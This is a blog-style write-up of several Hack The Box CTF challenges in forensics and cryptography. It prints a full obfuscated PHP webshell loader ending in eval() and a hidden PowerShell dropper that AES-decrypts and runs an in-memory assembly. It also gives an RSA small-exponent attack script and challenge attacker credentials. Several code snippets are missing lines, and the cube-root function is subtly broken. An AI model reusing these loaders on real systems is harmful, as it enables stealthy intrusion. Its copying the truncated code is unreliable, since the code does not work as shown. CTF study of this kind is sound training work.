The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.

Since a shell is mentioned, I did a string search for “shell” and “.sh” but didn’t find anything, so I assumed it was just a text shell that was POSTed to the server. So I filtered for only the POST requests.

Filtering for POST requests in Wireshark.

Since it weren’t very many packets, I looked through them manually and quickly saw some PHP contents.

$pPziZoJiMpcu = 82; 
$liGBOKxsOGMz = array(); 
$iyzQ5h8qf6 = "" ; 
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e  =p   xt\" ?ltps vdfic-xetrmsx'l0em0  o\"oc&'t [r\"e _e;eV.ncxm'vToil   ,F y"; 
$iyzQ5h8qf6 .= "<r s -<a  \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e  I!lb>'u btde .sr ege/ han:t"; 
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0  l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c  ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n"; 
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd  dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o  \$s #nRmaeoi=oi)p te"; 
$iyzQ5h8qf6 .= "l[>c;>ia ew   agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$   ) 0 \ngem0=  xrtrlsdi; l E=t>ma\"d"; 
$iyzQ5h8qf6 .= "e{o  iafbl\nb. }ee < ptrchid>   cia''t  s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)"; 
$iyzQ5h8qf6 .= "e mtlur3h;o  m{\$2x odd0(  )n't[\nr)  gi[dcnat\$   d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ "; 
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in '  (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0  p] )ogi?f)'r\n=  \n=ePrm;tfGda"; 
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n  y etd): [ & wrf (;]e\n {   cH'p\nioE=m [c.oeo\ne u  c hd; \$dd<rl.c e iohr L fca/ jf &p  ye   "; 
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n  HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su  e &p ?' e 0 eu t%  d\$_   To_vecnm[f= nouetp \" t."; 
$iyzQ5h8qf6 .= ">o \n> eifrd'o\"o ( n/es n eny.-/n 0=e e& - x(0'rp\$'1 \$'dP   BrSath=-'i' a p_ol >  \$    \n cri)>/w<  \$i:on: g "; 
$iyzQ5h8qf6 .= "d. 1>bc x'l0= ''\$e\$0x[[m s g]iO   {yEleo'ddls m\"luro E}o_\$\"< < h.l <'n/\" _f ct  t  c-2\not 2dsx'0w;gcm0''\"o:% r,rS   W Lu= \"aieu\$e<opya r\nfG"; 
$iyzQ5h8qf6 .= "v<t ? o'e.a.et< G Ft;0 h Co-.<oi 0'eAs0'\nruo2 eed 1 o  T   0\"Fe'\".trTbu'bal)d r\n Eabh p  /o  \$rd/ E(ie ' :eSm>2stoi0; 0'4  otd):xxe's u\$=[ "; 
$iyzQ5h8qf6 .= "  w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf)  xS/\n/csnf0 i0;0: uee  ee T% pw '  \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0  "; 
$iyzQ5h8qf6 .= "p\" ?'cc&'1 [o\$d  dR ..ffS>.pto;<id{[} \nm'e\"d \n t\$e/eldnb 'l sl\n  t-osqirp )\n( })' []& -uu ;s\$'r_ii iO\$\"\$'oE"; 
$iyzQ5h8qf6 .= "\\\"l'a\nbre\n' uimc);> fidvrtfui\"l deTte  .;-ocupar\$   )\n - \"  ''tt0\n\"selGrf rtd'd rRn'o>d red nepfam \n\n<o"; 
$iyzQ5h8qf6 .= "f>a(d=er;e o_rrn h \n>tretpim{ \$  ?' w=0w;eex ,.xdE'   _i iamV\"/a\"D >c_ all nd{? tr <l\$>').\n> weaea ef \nsir .no  "; 
$iyzQ5h8qf6 .= "m{  ; r 0'\n'\"2  =e[T](\$=Armru>E;>d;i <tf mso(d'\n> he(aud\\\" ' \" nxnam ai <tpysmtd\$ o  '\n i(0  ]]0 \$sc'[;if _ e.t\"R\n '\nr boi eeai ] \n >ai ein../ ; lisme "; 
$iyzQ5h8qf6 .= "dl lrt.riPet d\$ r \$t\$0: = 0 opuw'\nsi'D.t\"o;[e\">ee  rl ' dse, \n Pcsh)r\"  ' \n osf'= ee ia mcne y et ' gem4  ==  wrtrd}_l.a h f\n'c;\\cc sye ]{isx  <"; 
$iyzQ5h8qf6 .= " eh_r .;\$\". \n ate)\" rs npsi=.r&p  y   r\"o)' ' ) nieii\nfe/Y\"o/oePh\nnht t.( .\nnee\$ t r de.'\n_'\$ \n dsr;' (i k/rn\"jm e &p : o]d - x(  en'tr\$i '}<d>ccHoe<o"; 
$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z  3c.hss0=e e   u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._    (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p=  ; )gw\$[f)']ie \n\$h"; 
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n  ros'(;];l(\$}d2G\n> S<o><  =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l"; 
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe  \nire.>v E\$e\n\n  l  ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse%  i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e"; 
$iyzQ5h8qf6 .= "  nemi\n\"/t</sl0 i0; \noem0  ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a  T:u l n l\$.l [a) < \n)  aaal\nscp//ce }f0 \$ wao0:  s[[rds w  r;i \n>o"; 
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ /  )  md:e?tsssmr))\n( }t ndd1  \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu"; 
$iyzQ5h8qf6 .= "n d     ee )>ys:cai    )\ny e\"e0' m een]1 ri')   c;\"pr. pt\"r_rrfed \$c/) s / tEv)\nHea i  {  (rp)\nl//rxp{{ \$  p r] )- o:xxt,s ls;  =sh\n<u>\"tu"; 
$iyzQ5h8qf6 .= " ;.e:>ic  umb; = t\$hRa) P m v  \n  \$(u;\neb/ict\n  m{ e [ & ' d eef % ds\n{  coeit\\'ytt\n'xr<lhs pd>\n \" hk(Vl[ _.e >     f'b\n<soapd> \$ o  = \"="; 
$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n     iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf  en\"hpt<metpi'sdbT c o]b ca"; 
$iyzQ5h8qf6 .= "<\nydRea E\" e<    hlai teta>.\n y et u x(0' o&'tt%w\"se(   ad\\ouyde=yef.t'ro'c a)r hbt  i[ m L<.c/    eecc mesx\nb< p  y '\$e\$0x r ;ee1n,.x\$(  lin tpit'p"; 
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$  a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$  pr<\" evhhe'(a(E\"pbseD \"  e> >.P ] 'a<ot f hd.e) >\"r"; 
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0  dx ]]\"r\$scPd  a(b<t= oi=sis\$r;lrsci{; \" N  'H\"  ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi  t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\""; 
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s  psx'l eee   \"0 == 'rrtSr  hd>npsl=dfbsnpo a<uoe   vam v'_/ l./d<> e d('o  !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT   (i<peua'eime"; 
$iyzQ5h8qf6 .= "alr dbl c  fabe<a.Sa\"s t>/    e')n  -eml rlm; 0'e []& - x  x(trun'[=  \$rfu=bsPnlitmo. 'rl't  oll</l\$E><e\"d<t  = rC;t  -fieLaao i0;  \"  ''\$e) "; 
$iyzQ5h8qf6 .= "'\$yipt]'=  d)ot'msO'et(ea  ]>y<o  rue/tuvL</ ?>tr    (o\nr   =naapsd}f0 i w=0w;wc  )wpt[f)d   i;r ti=S ''\$(dF [< br  ee-treaF/t{d<d>  \$h"; 
$iyzQ5h8qf6 .= "'n o  L\".ptcse\n( }f r 0'\nou\$  oee'(;iN  r\nmtet'Tn  _\$Di 'biry  a hh>)l'td\not>\"  _eCt l rahcied=   )\n( i(0  rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>.  c"; 
$iyzQ5h8qf6 .= "\\o>\n u]d> wd ;  Gaoe : ettsssn\"= \$   \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <'  hnv\n {e >< n>\"\n  Ednn   aets.t.c  m{ \$oem0  d\"n('d\n,a1 ]L h/hce'vveemlS"; 
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e  \n).<t l\" }  Tett m dsp\"c cof o  mw\"o)' []e s[  ds )  o'ot= abn=euTLca\n_l.r/cx(br   ) td o..\n  [re- u ft:>oconi d\$ on]d - "; 
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r    )\"d> a  e  '(nD s i /\nmomtl et de e?' w=[m e o]1  rc\$\$\"ohaurtd'='Sor a d<>occ>t <  ?>  dppc  d"; 
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae  y er=  ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh  oC-s -heom<apbip &p  [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t"; 
$iyzQ5h8qf6 .= " \ni.  \"sio  woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1  i ll2'd='oe'lpbf)d '\$.sr<cr\nl h  r . .in   "; 
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = ""; 
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; } 
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz)); 
$bhrTeZXazQ = "?>$bhrTeZXazQ"; 
eval( $bhrTeZXazQ ); 

To see what that does, I used this sandbox: https://onlinephp.io/ Instead of using “eval” at the end, I used “echo” and got this result:

if (isset($_GET['download'])) {
        $file = $_GET['download'];
        if (file_exists($file)) {
            // redacted for writeup

<!-- redacted for writeup -->
<div class="container">

function printPerms($file) {
        // redacted for writeup
$dir = $_GET['dir'];
if (isset($_POST['dir'])) {
        $dir = $_POST['dir'];
$file = '';
if ($dir == NULL or !is_dir($dir)) {
        if (is_file($dir)) {
                echo "enters";
                $file = $dir;
                echo $file;
        $dir = './';
$dir = realpath($dir.'/'.$value);
##flag = HTB{W0w_ROt_A_DaY}
$dirs = scandir($dir);
echo "<h2>Viewing directory " . $dir . "</h2>";

// redacted for writeup


<table class="table table-hover table-bordered">
    // redacted for writeup


Flag: HTB{W0w_ROt_A_DaY}

Packet Cyclone

Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.

In this challenge, a bunch of EVTX files and some sigma YML files were provided. As suggested by the instructions, I used https://github.com/WithSecureLabs/chainsaw for this. Upon connecting to the given IP and port, some questions were asked.

Connecting to the server, getting asked a question.

Running chainsaw hunt on the logs using the rules:

Running chainsaw hunt on the logs using the provided rules.

The right-most column includes the answers, basically.

Question 1

What is the email of the attacker used for the exfiltration process? (for example: name@email.com)

Answer: majmeret@protonmail.com

Question 2

What is the password of the attacker used for the exfiltration process? (for example: password123)

Answer: As seen in the same screenshot: FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI

Question 3

What is the Cloud storage provider used by the attacker? (for example: cloud)

Answer: I wasn’t sure about it, but since it said “config create remote mega user” I assumed it was “mega”, which was correct.

Question 4

What is the ID of the process used by the attackers to configure their tool? (for example: 1337)

Answer: Not on the screenshot, but a bit further down it said “ProcessId: 3820”.

Question 5

What is the name of the folder the attacker exfiltrated; provide the full path. (for example: C:\Users\user\folder)

Lower part of the chainsaw output.

Answer: C:\Users\Wade\Desktop\Relic_location

Question 6

What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder)

Answer: exfiltration

Entering all answers correctly to get the flag.

Flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}

Relic Maps

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

As the instruction mentions, this one did provide an IP and a port to investigate. More specifically, a file was to be downloaded and inspected. So I did that and downloaded the /relics.one file.

Downloading the relics.one file.

A .one file is associated with OneNote, but since I didn’t want this potentially malicious file on my Windows machine and I also didn’t want to figure out how to run the file in Kali, I only inspected it using strings.

Using strings on the relics.one file.

Two interesting URLs were revealed: http://relicmaps.htb/uploads/soft/topsecret-maps.one and http://relicmaps.htb/get/DdAbds/window.bat. I did follow the topsecret-maps.one for a bit, but that didn’t lead to anything really, so I followed the window.bat instead by also downloading that.

Opening window.bat in the browser.

I immediately realized this was some obfuscated code that I would have to deobfuscate for further analysis. Since I didn’t find a good deobfuscator quickly, I just made sure the bottom part of the code would not be executed and basically ran the bat code on a Windows machine and directed the output to output.txt.The actual code looked like this:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\path\to\window.bat.exe" 


cd "C:\path\to\" 

"window.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\path\to\window.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) {  $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
exit /b

Still very obfuscated, so I let ChatGPT beautify it a bit:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "C:\path\to\window.bat.exe" 
cd "C:\path\to\" 
"window.bat.exe" `
    -noprofile `
    -windowstyle hidden `
    -ep bypass `
    -command `

    $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\path\to\window.bat').Split([Environment]::NewLine);
    foreach ($YiLGW in $eIfqq) {
        if ($YiLGW.StartsWith(':: ')) {
            $VuGcO = $YiLGW.Substring(3);
    $uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);

    $BacUA = New-Object System.Security.Cryptography.AesManaged;
    $BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
    $BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
    $BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
    $Nlgap = $BacUA.CreateDecryptor();
    $uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);

    $mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
    $bTMLk = New-Object System.IO.MemoryStream;
    $NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);

    $uZOcm = $bTMLk.ToArray();
    $gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
    $PtfdQ = $gDBNO.EntryPoint;
    $PtfdQ.Invoke($null, (, [string[]] ('')))
exit /b 

This code does three things: It takes a specific string from the window.bat file that starts with two colons, then decrypts that using AES, and then decompresses it using Gzip. That particular string without the colons looked like this:


As you can read from the script, the Mode, Key, and IV are all given. And all of it is in Base64. With that, I threw everything into CyberChef to decrypt and also decompress it.

CyberChef decrypting and decompressing the string.

Here is a link to the recipe with values: CyberChef As you can see, it already shows the flag, albeit not as copy-pastable yet. I had that same “problem” in another CTF already and it has something to do with the encoding, but this time, I just fixed it manually.

Flag: HTB{0neN0Te?_iT’5_4_tr4P!}


Ancient Encodings

Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.

Given are this output: 0x53465243657a467558336b7764584a66616a4231636d347a655639354d48566664326b786246397a5a544e66644767784e56396c626d4d775a4446755a334e665a58597a636e6c33614756794d33303d

And this script:

from Crypto.Util.number import bytes_to_long
from base64 import b64encode

FLAG = b"HTB{??????????}"

def encode(message):
    return hex(bytes_to_long(b64encode(message)))

def main():
    encoded_flag = encode(FLAG)
    with open("output.txt", "w") as f:

if __name__ == "__main__":

To reverse the script (presented by ChatGPT):

from Crypto.Util.number import long_to_bytes
from base64 import b64decode

encoded_flag = '0x53465243657a467558336b7764584a66616a4231636d347a655639354d48566664326b786246397a5a544e66644767784e56396c626d4d775a4446755a334e665a58597a636e6c33614756794d33303d'

# Convert the hexadecimal string to a long integer
long_int = int(encoded_flag, 16)

# Convert the long integer to bytes
flag_bytes = long_to_bytes(long_int)

# Decode the bytes using base64
flag = b64decode(flag_bytes)


Flag: HTB{1n_y0ur_j0urn3y_y0u_wi1l_se3_th15_enc0d1ngs_ev3rywher3}

Small StEps

As you continue your journey, you must learn about the encryption method the aliens used to secure their communication from eavesdroppers. The engineering team has designed a challenge that emulates the exact parameters of the aliens’ encryption system, complete with instructions and a code snippet to connect to a mock alien server. Your task is to break it.

Given server.py

from Crypto.Util.number import getPrime, bytes_to_long

FLAG = b"HTB{???????????????}"
assert len(FLAG) == 20

class RSA:

    def __init__(self):
        self.q = getPrime(256)
        self.p = getPrime(256)
        self.n = self.q * self.p
        self.e = 3

    def encrypt(self, plaintext):
        plaintext = bytes_to_long(plaintext)
        return pow(plaintext, self.e, self.n)

def menu():
    print('[E]ncrypt the flag.')
    print('[A]bort training.\n')
    return input('> ').upper()[0]

def main():
    print('This is the second level of training.\n')
    while True:
        rsa = RSA()
        choice = menu()

        if choice == 'E':
            encrypted_flag = rsa.encrypt(FLAG)
            print(f'\nThe public key is:\n\nN: {rsa.n}\ne: {rsa.e}\n')
            print(f'The encrypted flag is: {encrypted_flag}\n')
        elif choice == 'A':
            print('\nInvalid choice!\n')

if __name__ == '__main__':

And when asking the server for the encrypted flag:

The public key is:

N: 6407211792686161850782199920251859838394019170102287237506538634639710873820054677144407214236010793510183890119457900246288624423880793173348915903535733
e: 3

The encrypted flag is: 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053

I asked ChatGPT about it and found out that for e = 3, there is an attack called “Cube Root Attack”. Asking ChatGPT to write a python script to perform this attack using the given values:

from Crypto.Util.number import long_to_bytes

def cube_root(x):
    """Calculate the cube root of a positive integer x."""
    lo, hi = 0, x
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if mid**3 <= x:
            lo = mid
            hi = mid - 1
    return lo

N = 6407211792686161850782199920251859838394019170102287237506538634639710873820054677144407214236010793510183890119457900246288624423880793173348915903535733
ciphertext = 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053

# Calculate the cube root of the ciphertext
m = cube_root(ciphertext)

# Convert the cube root to bytes and decode as a string
plaintext = long_to_bytes(m).decode('utf-8')


Flag: HTB{5ma1l_E-xp0n3nt}

Perfect Synchronization

The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipquip, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?

After scrolling and clicking some lines, I realized many were duplicates. Displaying only unique lines with Notepad++, I saw it was just 30 different lines. So I asserted each of them a letter or digit to make analysis easier. My initial alphabet looked like this:

dfc8a2232dc2487a5455bda9fa2d45a1 = A
305d4649e3cb097fb094f8f45abbf0dc = B
c87a7eb9283e59571ad0cb0c89a74379 = C
60e8373bfb2124aea832f87809fca596 = D 
d178fac67ec4e9d2724fed6c7b50cd26 = E
34ece5ff054feccc5dabe9ae90438f9d = F
457165130940ceac01160ac0ff924d86 = G
5d7185a6823ab4fc73f3ea33669a7bae = H
61331054d82aeec9a20416759766d9d5 = I
5f122076e17398b7e21d1762a61e2e0a = J
f89f2719fb2814d9ab821316dae9862f = K
200ecd2657df0197f202f258b45038d8 = L
e9b131ab270c54bbf67fb4bd9c8e3177 = M
9673dbe632859fa33b8a79d6a3e3fe30 = N
e23c1323abc1fc41331b9cdfc40d5856 = O
8cbd4cfebc9ddf583a108de1a69df088 = P
68d763bc4c7a9b0da3828e0b77b08b64 = Q
3a17ebebf2bad9aa0dd75b37a58fe6ea = R
78de2d97da222954cce639cc4b481050 = S
0df9b4e759512f36aaa5c7fd4fb1fba8 = T
66975492b6a53cc9a4503c3a1295b6a7 = U 
4a3af0b7397584c4d450c6f7e83076aa = V
2190a721b2dcb17ff693aa5feecb3b58 = W
fb78aed37621262392a4125183d1bfc9 = X
2fc20e9a20605b988999e836301a2408 = Y
293f56083c20759d275db846c8bfb03e = Z
5ae172c9ea46594cea34ad1a4b1c79cd = 1
fbe86a428051747607a35b44b1a3e9e9 = 2
a94f49727cf771a85831bd03af1caaf5 = 3 
c53ba24fbbe9e3dbdd6062b3aab7ed1a = 4

Using https://quipqiup.com/ as suggested by the challenge, I got about 95 % of the substitution solved. To make that 100 %, I used https://www.boxentriq.com/code-breaking/cryptogram. The correct dictionary for all 26 Latin letters is this:

frequncy alsibdothgvwmpkxz

Based on what we know about the flag format, the remaining letters were easy to guess.

The almost completely decoded text with some gaps to be filled manually.

Complete dictionary:

frequncy alsibdothgvwmpkxzj{_}

The complete text in uppercase:



Another fantastic CTF by Hack The Box. I really enjoyed that they added “very easy” challenges this time, because even the “easy” challenges are often time-consuming if you have to research the topic first. The “very easy” challenges provide the necessary knowledge and make the CTF appealing even for absolute beginners and they give even fairly new solo players a feeling of accomplishment.

So that concludes my write-up. Thank you to Hack The Box for organizing it!